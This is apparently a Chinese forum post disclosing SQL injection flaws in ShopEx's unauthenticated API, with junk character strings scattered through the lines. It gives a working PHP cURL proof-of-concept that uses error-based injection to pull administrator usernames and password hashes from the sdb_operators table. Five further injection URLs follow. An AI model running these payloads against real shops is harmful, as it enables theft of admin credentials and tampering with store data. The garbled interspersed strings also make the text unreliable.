|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php8 z2 r3 f6 W" O% Q$ b
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php/ W6 z' Q4 B: b" G2 z
/ U0 v# x8 r& v4 u$ e+ G/ f! w第44行 $data['columns'] 未做过滤导致注入
6 D5 V. }) o- u) V& B
* a$ |* ]2 | Q' S: q3 O<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.8 d; E8 }% ^3 V/ ?
* g( d" B6 k ?6 d8 K
注射1:
?" [7 b2 ]. p2 M3 e; l8 _+ h+ |* I
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
6 i. g- ?8 X$ m4 C3 M
) v) s7 a D2 k# r2 u注射2:
6 v9 C$ ^! R2 V* Y% c5 l5 Fhttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
/ `* ]1 ?5 ]0 H8 |* A/ Q; k$ q8 ^, K- {9 \ n8 ]+ e8 `6 q% R2 ^1 z
注射3:) w7 Z) p9 [7 i) t' e+ Q% Q3 |* g
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
- c$ ?5 G3 ^; l7 I0 \4 ^6 Y注射4:
* M1 M9 q% i# c$ g& x/ j5 ` m
f# Y4 M% H+ L# U4 Uhttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
8 A0 k* x8 M7 ~7 O3 F6 {6 W. |
; D% V% l6 H" v m1 Z
( Q8 Y4 o. _& [% f! P* }4 X" B* Z( F注射5:
9 F; F3 d% g- m3 m7 c( a http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
, {) o4 [0 m7 b/ m6 R+ ^4 v+ }2 @( ^' P# f1 S+ s% S) S3 o9 `
/ K# x2 p; ^- ^6 n1 e+ C0 P9 [5 h [6 ^$ ?1 W/ w2 h- Z* i7 \
/ x. k4 I9 |" p/ d. R
% W' n( y0 @: H: z2 i* r5 B
/ y8 E; |, V1 ]% x6 z
|
|